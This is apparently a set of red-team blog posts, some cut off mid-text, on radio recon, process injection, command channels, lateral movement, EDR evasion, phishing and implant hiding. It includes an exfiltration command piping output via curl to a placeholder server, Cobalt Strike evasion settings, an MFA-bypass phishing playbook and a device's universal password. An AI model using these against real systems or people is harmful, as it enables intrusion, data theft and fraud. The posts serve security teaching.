Flipper Zero and 433MHz Hacking – Part 1
What is the Flipper Zero? The Flipper Zero can best be described as a hardware hacking multi-tool. The Flipper Zero is an open-sourced hardware, hand-held device. The ability to explore and access RFID, the 433 Mhz spectrum, GPIO pins, UART, USB, NFC, infrared, and more is self-contained in a portable “to-go” device. What is the 433 MHz spectrum? Different countries set aside different parts of the radio spectrum that may be used by low-power devices (LPD) for license-free radio transmission. UHF 433.050 to 434.790 MHz is set aside in the United States for this purpose. This enables things like garage door openers, home security systems, and other short-range radio-controlled devices to work. In the United States, the Federal Communication Commission (FCC) is the government agency responsible for regulating and enforcing laws around the use of the electromagnetic spectrum. Minus a few exceptions, United States 47 CFR 15.201 defines and requires “intentional radiators” to be certified, and 47 CFR 15.240 outlines requirements for such devices. 433 MHz Recon (T1596, T1592.001) Because “intentional radiators” operating in the 433 – 434 MHz spectrum must be certified, various certification records are publicly available via the FCC’s website. If you look at virtually any electronic device, usually imprinted in plastic or on a label, you will find a string that starts with FCC ID: followed by an ID number. The image on the left shows the FCC ID for a security system’s keypad. The FCC has an online “Equipment Authorization Search” site, making it fairly simple to look up FCC IDs. Click to increase size If you have never used this site before, the dash symbol ( – ) must be prepended to the Product Code, at the time of this writing. If omitted, the search will likely fail. Once the search results load, you will see something like this: Here we can see the application history and the frequency range this device is certified to operate within. Clicking on “Details” presents us with several documents that can be very useful for OSINT/Recon activities. By law, manufacturers are allowed to keep certain details confidential, so it is not unusual to see a “Confidentiality” letter attached to the application. The Confidentiality letter outlines what was withheld and, in this case, it looks like schematics, block diagrams, and operational descriptions were all withheld. The “Internal Photos” is a great resource for providing an overview of what the printed circuit board (PCB) looks like and what (if any) debug taps may exist. It also provides indirect clues on how the device may be assembled and, thus, how it may be disassembled, thereby reducing the risk of “breaking” the device before you get to test it. If you don’t already have it, the “User Manual” can be a great resource. Having the user manual on hand can be very helpful. You can often find default credentials, Admin IP addresses, and other useful things in it. The “test reports” are often a wealth of information. Sometimes we can learn what modulation is being used, in this case Frequency Shift Keying (FSK), as well as the bandwidth and other useful details. In some cases, you may also find FCC IDs for other devices the product may contain (IoT inception). Below is the base station the example keypad connects to. If you are having difficulties locating a chip or component, the test report may contain references, model/part numbers, or other clues to help you out. At this point, it becomes an iterative process of finding the FCC ID, looking it up, going through the documents, and repeating as necessary. Capturing some data! So far, we have done our homework. We have learned this keypad communicates on 433.92, the device uses FSK, and the expected bandwidth will be around 37.074 KHz. Image Credit: https://docs.flipperzero.one/sub-ghz/read The Flipper Zero comes with a frequency analyzer. To access it, go to Main Menu > Sub-GHz > Frequency Analyzer. With the Flipper Zero close to the keypad, perform an action that instantiates a wireless signal. Sure enough, when we test the keypad in the above example, we get a value (+/-) of 433.92. To capture data we need to go to the “Read Raw” menu. Main Menu > Sub-GHz > Read Raw Image Credit: https://docs.flipperzero.one/sub-ghz/read-raw We need to enter the config menu and make sure the Frequency is set to 433.92. The Flipper Zero supports two FSK modes: For now, let’s select FM238 and let’s set the RSSI threshold to -70.0. With the configuration set, we are now ready to capture! When we replay this, the base station responds with an error/warning “Wireless Interference Detected.” The device will likely use some checks to prevent direct replay attacks. A common method is to use rolling codes. In the next chapter, we will dive more into how we can decode and begin to make sense of what is happening behind the scenes.
Mockingjay Memory Allocation Primitive
A new post from Security Joes brought attention to a process injection technique previously underutilized in offensive security. The RWX injection primitive, now dubbed “Mockingjay,” offers attackers an advantage to evade unbacked executable memory detection. The core idea behind this technique, reusing RWX regions from legitimate modules, is a valuable alternative to existing memory allocation and protection primitives. The success of injection into RWX memory depends heavily on the module and memory region selected by the operator. RWX injection is similar to module stomping but may require novel detection techniques in optimal scenarios. Packed binaries are the most common targets for this technique. This blog offers guidance for selecting the appropriate targets, along with an enumeration script and a functional injection template. Previous Work To be clear, I did not develop this technique or even popularize it. I had success with RWX injection in the past, and now that it has become popular again, a post seemed justified. The initial idea for RWX injection appears to have originated from Unknown Cheats. A 2018 post from namazo describes an anticheat bypass to avoid detections that rely on pointers to unbacked memory. A working injector was uploaded to GitHub a year later. Most recently, Security Joes uploaded their blog post on “Mockingjay,” which generated interest in the security community. RWX Injection Process injection requires three to four primitives: 1. Allocate or find memory for code. 2. Write code to the memory. 3. Change the memory permissions (may not be required if already executable). 4. Execute the code. RWX injection fulfills steps one and three. You will still need to write code to the RWX region and execute it. Using a module with RWX memory is beneficial because an executable on disk backs it. Module stomping also takes advantage of this attribute, but it’s more likely vendors can validate the data of memory that isn’t meant to be writeable. To prevent this technique, some anticheat vendors apparently blocked all DLLs with RWX memory regions and made exceptions as necessary. This is an excellent solution for protecting a single application, but it likely isn’t an option for security vendors. Discovering Module Targets Potential targets of this attack are PE files with at least one section marked RWX by its characteristic flags in the PE header. – IMAGE_SCN_MEM_EXECUTE – 0x20000000 – IMAGE_SCN_MEM_READ – 0x40000000 – IMAGE_SCN_MEM_WRITE – 0x80000000 We can search for this manually with a tool such as PE-bear. The “Characteristics” column of the “Section Hdrs” tab conveniently lists the value for each section and translates it to the familiar “RWX” format. The manual process is slow, but we can automate it using the pefile Python package. This programmatic method can also check whether the module is signed and retrieve the region and raw data sizes. We uploaded a Python script to GitHub with these capabilities. The best option would be a signed DLL with enough space to hold shellcode and only a minimal amount of raw data. However, any PE file with an RWX memory region may work. These criteria only reduce the likelihood of detection or instability and improve operational usefulness. It’s important to consider the effects of loading a module to ensure process safety. For instance, if a target DLL is injected, its DllMain function may run and impact the host process. No affected PE files were found in C:\Windows\System32 on Windows 11, but we identified signed third-party modules that met the criteria. – ISSetup.dll (.rsrc) – 135KB – PEbiosinterface32.dll (UPX0) – 4.3MB – libnxusb.dll (.textbss) – 1MB – GoTo Opener.exe (UPX0) – 839KB – Spotify.exe (.data) – 6.8MB PEbiosinterface32.dll is similar to the example in namazo’s blog post. Any PE file packed with UPX (and likely any other packer) is a potential target for the technique. POC You can find our local and remote injection templates on GitHub. RWX injection is straightforward once you have identified a suitable target. In either local or remote injection, the process is as follows. 1. Load the identified module into a target process. 2. Calculate the virtual address of the RWX section using the module base address and RVA of the target section. 3. Copy shellcode to the RWX section. 4. Initiate execution of the shellcode. As you can tell, the methodology has room for substantial variation. Our templates demonstrate a simple method for testing, but the primitives used for module load, memory write, and execution could easily be replaced. The code shows the RWX injection technique but likely won’t bypass any security products without modifying the other primitives. Closing Thoughts Although not a new concept, RWX injection has been overlooked by security professionals until recently. Awareness of public techniques is crucial to ensure security vendors effectively address them. While this memory allocation and protection primitive may be difficult to detect, there are still opportunities for defenders to identify execution methods or post-exploitation activity. Credits – Apparent origin of RWX injection: [Release] Some internal detection vectors bypass (unknowncheats.me) – Recent blog that brought attention to the technique: Process Mockingjay: Echoing RWX In Userland To Achieve Code Execution (securityjoes.com)
Developing Winsock Communication in Malware
Winsock is an API (Application Programming Interface) that provides a standardized interface for network programming in the Windows operating system. It enables applications to establish network connections and send and receive data over various protocols such as TCP/IP, UDP, and more. The flexibility and wide adoption of Winsock makes it an attractive choice for malware authors seeking to establish covert communication channels. In this article, we will explore a sample code that demonstrates a basic implementation of end-to-end communication using the Winsock protocol. As the code is ported to BOF, it replaces the default Named Pipes that Cobalt Strike uses with Winsock. Initializing the Winsock server // Initialize WinsockWSAStartup(MAKEWORD(2, 2), &wsaData) != 0; This code initializes the Winsock library by calling the WSAStartup function. These lines set up the server’s address and port information and bind the socket to this address. The code assigns the address family (AF_INET for IPv4) to serverAddress.sin_family. INADDR_ANY is used to bind the socket to all available network interfaces on the server machine, allowing it to accept connections from any IP address. The port number is set to SERVER_PORT using serverAddress.sin_port. The htons function is used to convert the port number to network byte order. The bind function is then called to associate the socket with the server address and port. It takes the socket descriptor (serverSocket), a pointer to the server address structure ((struct sockaddr*)&serverAddress), and the size of the server address structure (sizeof(serverAddress)). bind(serverSocket, (struct sockaddr*)&serverAddress, sizeof(serverAddress); // Listen for incoming connectionslisten(serverSocket, SOMAXCONN); The listen function puts the server socket into a passive listening state. The serverSocket parameter is the socket descriptor that was previously created and bound. SOMAXCONN represents the maximum number of clients that can wait to be accepted by the server. Retrieving the command The code enters a while loop that continues indefinitely until the entire message is received or an error occurs. The recv function is called to receive data from the client socket. It reads data into the buffer starting from the current position buffer + totalBytesRead. It specifies the maximum number of bytes to read as MAX_BUFFER_SIZE – totalBytesRead. The purpose of this code is to read a message sent by the client in chunks until the entire message is received. It allows for the reception of messages that may be larger than the buffer size (MAX_BUFFER_SIZE) by reading the data in multiple iterations. Executing commands The CreateProcessA function is used to create a new process and allows you to specify the command-line parameters for the process. The first parameter NULL specifies that the new process will inherit the environment variables of the calling process. The second parameter (LPSTR)command specifies the command-line string that determines the executable and its arguments. Once executed, ReadFile is used to parse the output at the end of the pipe. Sending the output back This line extracts the socket descriptor from the clientSocketPtr pointer and assigns it to the variable clientSocket. The clientSocketPtr is a void pointer that points to the memory location where the socket descriptor is stored. By using type casting (SOCKET*), the code interprets the pointer value as a pointer to a SOCKET data type and dereferences it to obtain the actual socket descriptor value. This socket descriptor represents the connection between the server and the client. The == SOCKET_ERROR part is a comparison that checks if the return value of the send function is equal to SOCKET_ERROR. This comparison is commonly used to check if the send operation encountered an error. If the comparison is true, it indicates that there was an error in sending the data. Network analysis In our public repository we were able to replace the default Named Pipe communication that Cobalt Strike uses with Winsocket. After loading the CNA script, using “socky” command and the first argument, which is the command to be executed, we are able to send and receive the desired output via Winsocket: For each command sent, it will create 11 packets for the end-to-end communication. In this case we filtered the results to display only the TCP Port 8888 (the port we are using for the communication): Analyzing the packets easily leads to the commands and the results (as no encryption was used). Conclusion In conclusion, this article has provided an overview of Winsock, an API that facilitates network programming in the Windows operating system. Throughout the article, we have examined a sample code that demonstrates a basic implementation of end-to-end communication using the Winsock protocol. By porting the code to BOF (Beacon Object Files), it replaces the default Named Pipes utilized by Cobalt Strike with Winsock. The whole project can be found in our repository.
Security & Risk Assessment: Boblov KJ21
I was recently browsing a large online retailer and came across this headline for a product: BOBLOV KJ21 Body Camera, 1296P Body Wearable Camera Support Memory Expand Max 128G 8-10Hours Recording Police Body Camera Lightweight and Portable Easy to Operate Clear Night Vision … (emphasis added) As a former police officer, now a security researcher with a keen interest in IoT targets, I was intrigued by “Boblov” – a name I had never encountered. I conducted some open-source intelligence (OSINT) research. I discovered from multiple sources, including the UK’s Intellectual Property Office and Boblov’s “About Us” page, that Boblov seems to be a brand under Shenzhen Lvyouyou Technology Co. Ltd. However, a preliminary search yielded little information about Shenzhen Lvyouyou Technology Co. Ltd. The Boblov brand has a website at Boblov.com, which as of this writing, the domain register was listed as “Alibaba Cloud Computing (Beijing) Co., Ltd.” Boblov’s product page for the KJ21, and their Facebook page (BOBLOVGlobal), openly advertise their range of products as “Police” body cameras. A particular Facebook post (left image, click for larger view) showcases the KJ21, accompanied by hashtags “police” and “bodycamera.” On initial viewing, the imagery might strike someone as somewhat “tactical” or “law enforcement” oriented. However, upon closer examination of the video, it became evident that there was something off about this impression. By pausing and zooming in on the footage, it became clear that the person featured wasn’t law enforcement but a private Bail Bonds agent, often colloquially known as a “bounty hunter.” While such agents provide an essential service for the companies they work for, they are not “police” or state agents. In another striking example of Boblov seemingly failing to comprehend the market they are presumably targeting, this Facebook post (right image, click for larger view), at a superficial glance, might seem to feature someone who could pass for an official. However, the absence of identifiers such as a badge, name tag, and patches, along with the context of the photo, clearly indicates that this individual is not operating in an official law enforcement capacity. Nevertheless, Boblov’s caption of “Hero” coupled with the hashtag “#lawenforcement” comes across as perplexing. By this point, I had discovered that Boblov, a brand owned by a Chinese entity with no significant online presence, was advertising “Police Body Cameras.” However, their marketing team seemed to struggle to locate actual law enforcement officers to demonstrate their product. Alternatively, it appeared that this company, which marketed and sold “law enforcement” products in the US, did not fully comprehend the definition and composition of law enforcement. As I dug further, I came across a customer asking for help because they could not reset their password to get into their device. Boblov’s answer: “We could send you the universal password….” Click for larger Excellent. I’m sold. I got myself a KJ21. Let the fun begin. Assessment Purpose and Conditions The security and risk assessment on the Boblov KJ21, referred to hereafter as “the target,” was a “black box” examination. The only information used was that which could be obtained through open sources. This risk and security assessment aims to produce a structured qualitative evaluation of the target that can assist others in making informed decisions about risk. Notably, due to pre-engagement research that repeatedly suggested that the target is suitable for law enforcement use or is already employed in a security or law enforcement setting, the adopted information security standards and controls are reflective of this operational environment. Various tables at the end of this report provide further definitions and context. Scope The scope of the assessment assessed the effectiveness of the target’s controls to eliminate or mitigate external or internal threats from exploiting vulnerabilities. Should the target’s control fail, the result could be: Boblov KJ21: Target Information The Boblov K21 (“the target”) is a compact device with a rounded rectangular shape, measuring 2.95 x 2.17 x 0.98 inches and weighing approximately 14.5 ounces. The target has a USB port and a TransFlash (TF) Card slot for connectivity and storage. The camera is on the “front” side of the device, while the “rear” side features an LCD screen. Below the screen are four control buttons for reviewing video and audio content, viewing pictures, and adjusting settings. In addition, a reset button is tucked away, accessible with a small paperclip or similar pin-like objects. The device is held together by four screws – two on the front and two on the back – hidden beneath easily removable rubber plugs. You can use an unfolded paperclip to dislodge these plugs. Although a precision screwdriver kit would be handy for unscrewing, once the screws are out, the KJ21 can be conveniently opened. The following items were identified on the circuit board: #1 XT25F32B-S Quad IO Serial NOR Flash #2 WST 8339P-4 649395188A2231 #3 TF Card Housing #4 ETA40543 A283I (1.2A/16V Fully Integrated Linear Charger for 1 Cell 4.35V Li-ion Battery) #5 USB Input Click for larger XT25F32B-S Quad IO Serial NOR Flash As of this writing, the current version 1.3 of flashrom does not support the XT25F32B. Using the datasheet, I managed to customize flashrom and get it working. I provide the code you can add to the flashrom source and rebuild if desired. Though the contents could ultimately be dumped, this ultimately proved unnecessary. Click for larger TF Card Storage The target formats the TF Card using FAT32. At the root level, there are three main objects: The TF Card is not encrypted when the device password is set and enabled. Because of this, removing the card and mounting it as just a regular TF Card allows full control of the card’s contents. Device Password By default, the target’s password is disabled. When enabled, the default password is 000000. The operator can change the target’s password to any 0-9A-Z string that is six characters long. The effect of setting a password: During the assessment, the “universal” password was discovered to be: 888888 Target USB Computer Connection When
Navigating Stealthy WMI Lateral Movement
Introduction In this article, we’ll look at a Python script that uses Windows Management Instrumentation (WMI) to remotely control a target computer. The script makes use of COM to communicate with the WMI infrastructure and perform administrative tasks. Using different classes, we will explore different approaches to execute shell commands and observe how each approach works in the background and how they look in the Event Viewer. All the scripts used in the article are published in our Github repository. Win32_Process Class Overview The Win32_Process WMI class represents a process on an operating system. It is the most straightforward way of executing a shell command via WMI. The script starts by importing the WMI module, which provides a Python interface for interacting with the WMI service. A WMI connection is established with the specified target computer, utilizing the provided authentication details (username and password). To execute the command, the script utilizes the Win32_Process class provided by WMI. The Create method of this class is called, with the CommandLine parameter set to the desired command. Impacket’s version of Wmiexec uses this class; however, several articles state that the process relationship involving a parent process known as WMIPRVSE.EXE. and its child process CMD.EXE or POWERSHELL.EXE is a red flag. In order to avoid this behavior, we will use another class, which is mentioned below. If you take a look at the Event Viewer, an Event with ID 4688 will be created. Analyzing this event will reveal the executed command: Win32_ScheduledJob Class Overview Approaching code execution via ScheduledJob might be a better way, as it is not relying on port 139 and 445 (some antivirus software heavily monitors these ports). Instead, it drops the SMB connection function to use Win32_ScheduledJob class to execute commands. It is worth noting that this class works by default on Windows versions under NT6 (Windows Server 2003 and prior). This is because the following registry should be created: Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration Name: EnableAt Type: REG_DWORD Value: 1 Fortunately, WMI provides a class called StdRegProv for interacting with the Windows Registry. With this in hand, we can do a variety of things – including retrieval, creation, deletion and modification of keys and values. We can use the following code to create the required registry key: After the execution, we are able to see the newly created registry: We can now continue with creating the scheduled task. The following script calculates the start time for the scheduled job, which is set to one minute from the current time. change_date_time = datetime.datetime.now() + datetime.timedelta(minutes=1)begin_time = change_date_time.strftime(‘%Y%m%d%H%M%S.000000+100′) The script then utilizes the Win32_ScheduledJob class to create a scheduled job, specifying the command to execute and the start time. job_id, result = c.Win32_ScheduledJob.Create(Command=“cmd /c ipconfig”, StartTime=begin_time) Win32_ScheduledJob Limitations While this technique might be much better and stealthier, the attacker may need to restart the target’s machine to make the setting effective (apply the changed registry). Because Win32_ScheduledJob is based on the NetScheduleJobGetInfo Win32 API (which is no longer available for use as of Windows 8), you cannot use this class in conjunction with the Task Scheduler. Exfiltrating the Data WMI has limitations on parsing the command output as there is no Microsoft-supported way to receive the data, so attackers must find a workaround for this issue. The most popular exfiltration technique that most of the open-source projects use are by redirecting the command’s output in a text file on the remote host’s local ADMIN$ share. One great example is the impacket’s code. However, generating a random-named text file on the ADMIN$ share is quite suspicious. A good simple solution would be to pipe the output on an HTTPS server. This way we avoid writing to the disk and we securely transmit the data in an encrypted HTTP server. This can be achieved by executing the following command: cmd /Q /c <my command> | curl -X POST -k -H ‘Content-Type: text/plain’ –data-binary @- https://myhttpserver A simple Python script is used to create a SSL-supported HTTP server: Below you can see the tool in action against a target with a fully-updated Sophos EDR installed: Conclusion Win32_ScheduledJob is a better, stealthier way of performing lateral movement to the target; however, modifying the registry does require the target restart the machine. Also the Windows version has to be Windows 8 or lower (according to Microsoft). On the other hand, Win32_Process works out of the box. But, as already discussed on the article, this method leads to IOCs such as CMD.EXE being spawned as a child process of WMIPRVSE.EXE All the scripts used in the article are published in our Github repository. References https://github.com/XiaoliChan/wmiexec-RegOuthttps://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-scheduledjobhttps://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/
Unleashing the Unseen: Harnessing the Power of Cobalt Strike Profiles for EDR Evasion
In this blog post, we will go through the importance of each profile’s option, and explore the differences between default and customized Malleable C2 profiles used in the Cobalt Strike framework. In doing so, we demonstrate how the Malleable C2 profile lends versatility to Cobalt Strike. We will also take a step further by improving the existing open-source profiles to make Red-Team engagements more OPSEC-safe. All the scripts and the final profiles used for bypasses are published in our Github repository. The article assumes that you are familiar with the fundamentals of flexible C2 and is meant to serve as a guide for developing and improving Malleable C2 profiles. The profile found at (https://github.com/xx0hcd/Malleable-C2-Profiles/blob/master/normal/amazon_events.profile) is used as a reference profile. Cobalt Strike 4.8 was used during the test cases and we are also going to use our project code for the Shellcode injection. The existing profiles are good enough to bypass most of the Antivirus products as well as EDR solutions; however, more improvements can be made in order to make it an OPSEC-safe profile and to bypass some of the most popular YARA rules. Bypassing memory scanners The recent versions of Cobalt Strike have made it so easy for the operators to bypass memory scanners like BeaconEye and Hunt-Sleeping-Beacons. The following option will make this bypass possible: set sleep_mask “true”; By enabling this option, Cobalt Strike will XOR the heap and every image section of its beacon prior to sleeping, leaving no string or data unprotected in the beacon’s memory. As a result, no detection is made by any of the mentioned tools. BeaconEye also fails to find the malicious process with the sleeping Beacon: While it bypassed the memory scanners, cross-referencing the memory regions, we find that it leads us straight to the beacon payload in memory. This demonstrates that, since the beacon was where the API call originated, execution will return there once the WaitForSingleObjectEx function is finished. The reference to a memory address rather than an exported function is a red flag. Both automatic tooling and manual analysis can detect this. It is highly recommended to enable “stack spoof” using the Artifact Kit in order to prevent such IOC. It is worthwhile to enable this option even though it is not a part of the malleable profile. The spoofing mechanism must be enabled by setting the fifth argument to true: During the compilation, a .CNA file will be generated and that has to be imported in Cobalt Strike. Once imported, the changes are applied to the new generated payloads. Let’s analyze the Beacon again: The difference is very noticeable. The thread stacks are spoofed, leaving no trace of memory address references. It should also be mentioned that Cobalt Strike added stack spoofing to the arsenal kit in June 2021. However, it was found that the call stack spoofing only applied to exe/dll artifacts created using the artifact kit, not to beacons injected via shellcode in an injected thread. They are therefore unlikely to be effective in obscuring the beacon in memory. Bypassing static signatures It is time to test how well the beacon will perform against static signature scanners. Enabling the following feature will remove most of the strings stored in the beacon’s heap: set obfuscate “true”; Once the profile is applied to Cobalt Strike, generate a raw shellcode and put it in the Shellcode loader’s code. Once the EXE was compiled, we analyzed the differences in the stored strings: During many test cases we realized that the beacon still gets detected even if it is using heavy-customized profiles (including obfuscate). Using ThreadCheck we realized that msvcrt string is being identified as “bad bytes”: This is indeed a string found in Beacon’s heap. The obfuscate option isn’t fully removing every possible string: So let’s slightly modify our profile to remove such suspicious strings: This didn’t help much as the strings were still found in the heap. We might need to take a different approach to solve this problem. Clang++ to the rescue Different compilers have their own set of optimizations and flags that can be used to tailor the output for specific use cases. By experimenting with different compilers, users can achieve better performance and potentially bypass more AV/EDR systems. For example, Clang++ provides several optimization flags that can help reduce the size of the compiled code, while GCC (G++) is known for its high-performance optimization capabilities. By using different compilers, users can achieve a unique executable that can evade detection: The string msvcrt.dll is not shown anymore, resulting in Windows Defender being bypassed: Testing it against various Antivirus products leads to some promising results (bear in mind that an unencrypted shellcode was used): Removing strings is never enough Although having obfuscate enabled in our profile, we were still able to detect lots of strings inside the beacon’s stack: We modified the profile a little by adding the following options to remove all the mentioned strings: Problem solved! The strings no longer exist in the stack. Prepend OPCODES This option will append the opcodes you put in the profile in the beginning of the generated raw shellcode. So you must create a fully working shellcode in order not to crash the beacon when executed. Basically we have to create a junk assembly code that won’t affect the original shellcode. We can simply use a series of “0x90” (NOP) instructions, or even better, a dynamic combination of the following assembly instructions’ list: Pick a unique combination (by shuffling the instructions or by adding/removing them) and lastly, convert it to \x format to make it compatible with the profile. In this case, we took the instruction list as it is, so the final junky shellcode will look like the following when converted to the proper format: We took this a step further by automating the whole process with a simple python script. The code will generate a random junk shellcode that you can use on the prepend option: When generating the raw shellcode again with the changed
“Can’t Stop the Phish” – Tips for Warming Up Your Email Domain Right
Introduction Phishing continues to be a lucrative vector for adversaries year after year. In 2022, for intrusions observed by Mandiant, phishing was the second most utilized vector for initial access. When Red Teaming against mature organizations with up-to-date and well configured external attack surfaces, phishing is often the method of initial access. To give the readers a recent example, I was on an engagement where one of the goals was to bypass MFA and compromise a user’s Office365 account. The target had implemented geo-location based restrictions, MFA for users, and conducted user awareness trainings. To get past these controls, a customized version of Evilginx was hosted in the same country as the target. This server was protected behind an Apache reverse proxy and Azure CDN to get through the corporate web proxy. The phishing email contained a PDF, formatted to the target’s branding (from OSINT) with a ruse that required users to re-authenticate to their Office365 accounts as part of a cloud migration. The phish was sent using Office365 with an Azure tenant, which helped get through the email security solution (more on this later). The campaign began, and eventually a user’s session was successfully stolen, resulting in access to business critical data. Interestingly, although a few users reported the phish, the investigating security analyst did not identify anything malicious about the email and marked the reported phish as a false positive. The engagement concluded with valuable lessons learnt from identifying gaps in response processes, user awareness, and an ‘aha moment’ for the executives. Reel It In: Landing The Phish Landing an email in a recipient’s inbox can be a challenge, for both cold emailing and spear phishing. To avoid getting caught in spam filters, it’s important to follow a few best practices. Never use typosquatted target domains. For instance, Mimecast has an ‘Impersonation rule’ to prevent typosquatted domains from landing in an inbox. Instead, purchase an expired domain that resembles a vendor that may be related to the target. For instance, ‘fortinetglobal.com’ or ‘contoso.crowdstrikeglobal.com’. I tend to rely on Microsoft’s domains. Azure tenants provide a subdomain of ‘onmicrosoft.com’. Alternatively, you could rely on Outlook (‘@outlook.com’), and impersonate a specific user from the target, such as IT support. Rely on your OSINT skills to identify the email naming syntax, signature, and profile picture of the user you want to impersonate. Most RT shops use reputed providers such as Office365, Mailgun, Outlook, Amazon SES, or Google Workspace. Some folks still use their own Postfix SMTP server. To avoid blacklisted source IPs, you may want to use a VPN on the host you use to send emails. Enumerate the target’s DNS TXT records to identify allowed third-party marketing providers. A quick Shodan lookup of the allowed IPs should identify the associated vendor. Rely on the same service to send your phish, for example, Sendgrid or Klaviyo. Sender policy framework (SPF): Identifies the mail servers and domains that are allowed to send email on behalf of your domain. DomainKeys identified mail (DKIM): Digitally sign emails using a cryptographic signature—so recipients can verify that an email was sent by your domain and not spoofed by a third party. Domain-based message authentication (DMARC): Allows email senders to specify what should happen if an email fails the SPF record check —for example, whether it should be rejected or delivered to the recipient’s inbox. Words such as Free, Prize, Urgent, Giveaway, Click Here, Discount etc. are associated with spam or unsolicited email and cause your email to be automatically sent to Junk or not delivered at all. I prefer to send my phishes in three stages. For instance, on a Friday I’d send a ‘Downtime Notification’ informing users that they may need to re-authenticate to their accounts after a scheduled maintenance activity. This email would not contain anything suspicious—no links, no action required—it’s only informational. The following Monday, I’d reply to the same email thread, with the phish requesting users authenticate on the provided link. On Tuesday, I’d send a ‘Gentle Reminder’ email, once again replying to the same mail thread. The user compromised from the example in the introduction section was phished with the ‘Gentle Reminder’. For a targeted attack, it’s recommended to establish two-way communication with the user before sending the main phish. With Google Workspace: Create a document themed according to target’s branding → Embed payload URL within sheet → Add victim as ‘Commentator’ → Victim receives an email from ‘comments-noreply@docs.google.com’ With SharePoint: Create a folder or document themed according to target’s branding → Embed payload URL within sheet → Provide only read access to anyone with the URL → Share the folder\file with victim’s email ID → Embedded link is a subdomain of ‘sharepoint.com’. Personally, I’ve had better success landing shared files instead of shared folders on SharePoint. SharePoint also provides notifications when users access the document. Instead, provide a link in the email, redirecting the user to the site that’s hosting the payload. Using your own website provides benefits such as user\bot tracking and quick payload swaps. Use JavaScript to hide the payload from the <a href=””> tag, and download based on an event such as onclick(). Alternatively, Azure blob storage, Azure app services, AWS S3 buckets or IPFS are worth considering. Use ‘https://www.mail-tester.com’ and Azure’s message header analyzer. Note that just because you get a 10/10 score, does not mean you will land the phish in your target’s inbox. This brings us to the idea of email sender reputation. Warm It Up Email sender reputation refers to the perceived trustworthiness of the sender of an email, as determined by various email service providers and spam filters. This reputation is based on a number of factors such as the sender’s email address, the content of the email, and the frequency and consistency of sending emails. When new senders appear, they’re treated more suspiciously than senders with a previously-established history of sending email messages (think of it as a probation period). For instance, if you try to send more than 20 emails
Masking the Implant with Stack Encryption
This article is a demonstration of memory-based detection and evasion techniques. Whenever you build a Command & Control or you perform threat hunting, there will be scenarios when you might need to analyze the memory artifacts of a specific system—something that is really useful during your live forensics or when you’re going to perform an incident response on a host by segregating that host from the network. In such scenarios, it would be required to identify the payload that is currently running in memory. We will be taking a look at some of the examples of how that payload investigation can be performed, and how that investigation can be bypassed as well. A lot of times during an engagement, an engineer might execute a payload: either Cobalt Strike, Havoc or any other open source C2s that are currently there. There are specific scenarios where the red teamer might want to execute a command on the endpoint, which gathers a lot of strings and sends that to your C2 host. These strings can be username, hostname, or even information related to your command and control server itself and the information might also be encrypted during transit. However, when the payload sleeps on the endpoint, and the red teamer adds sleep and jitter to the beacon, these commands need to be stored in an encrypted way. In this current scenario, this information can be either stored into a heap or on stack. Regarding heap memory, usually we don’t have to worry about it because you can eventually walk a heap, extract information, and encrypt when you are sleeping. However, things change a bit when we talk about stack encryption. The problem with loaders In a traditional shellcode loader, the shellcode is stored in stack memory since it is stored in a variable inside or outside of a function. When the shellcode is written with WriteProcessMemory to a local/remote process, not only is the shellcode stored in that particular memory but also it remains stored in the stack, where the variable lives. Finding the stack To quickly identify where the stack is located, we need to retrieve the RSP address. This register will contain the address of the top of the stack. While the top of the stack is easily identifiable, the bottom is much harder as the stack dynamically increases and/or decreases in size based on the variables that are stored and freed as the code is executed. Luckily VirtualQuery makes it so easy for us to retrieve information about the range of pages in the virtual address space of the calling process. So using the RSP address that we found previously allows us to determine the top and the bottom of the stack: Suspending the thread to avoid abnormal behavior It is required to suspend the process before encrypting or decrypting the stack. This is because modifying the stack while the process is still running can cause unpredictable behavior and potential crashes. To suspend the process, we can use the SuspendThread function from the Windows API, which suspends the execution of a thread until it is resumed with the ResumeThread function. Encrypting what we need to hide Encrypting from the beginning of the page to the bottom of the stack might look suspicious and is not the most OPSEC-safe approach. Instead, we will encrypt where the stack actually begins (RSP address) and the bottom of the stack (minus 8 bytes). Below is the image of the range that should be encrypted, starting from RSP address (where the plaintext strings and the shellcode is stored) until the end of the stack: The encryption routine is pretty simple; XOR byte per byte until you reach the end of the stack: If we analyze the stack of the loader, we can clearly see what the stack will look like after the encryption: There’s no sleepmask without sleeping Some modern detection solutions possess countermeasures against a basic Sleep(). For example, hooking sleep functions like Sleep in C/C++ or Thread.Sleep in C# to nullify the sleep, but also fast forwarding. There is already a nice technique that leverages CPU cycles to perform a custom sleep. I am not going to further describe how it works as it is already well-explained here in this article. Wrapping everything up In conclusion, understanding memory-based detection and evasion techniques is crucial for effective threat hunting and incident response. Investigating the payloads that are running in memory can provide critical information about a system’s state, but it can also be bypassed through stack encryption techniques. The code for this PoC can be found in this GitHub repo. Credits https://shubakki.github.io/posts/2022/12/detecting-and-evading-sandboxing-through-time-based-evasion/ White Knight Labs – Red Team Engagements White Knight Labs is an expert in conducting red team engagements that are tailored to the specific needs of our clients. We believe that every organization has unique security requirements, which is why we work closely with our clients to develop customized testing plans that align with their objectives and security goals. As a tactical, objective-based company, we excel in intense scenarios and strive to provide our clients with a realistic assessment of their security posture. Our experienced team employs advanced tactics and techniques to simulate real-world attacks and identify vulnerabilities that could be exploited by malicious actors. Our red team engagements include a thorough analysis of your organization’s defenses and culminate in a detailed report that outlines our findings and recommendations for strengthening your security posture. With White Knight Labs’ red team engagements, you can be confident that your organization is better equipped to defend against targeted attacks and other sophisticated threats.
Unveiling OSINT Techniques: Exploring LinkedIn, Illicit Services, and Dehashed for Information Gathering
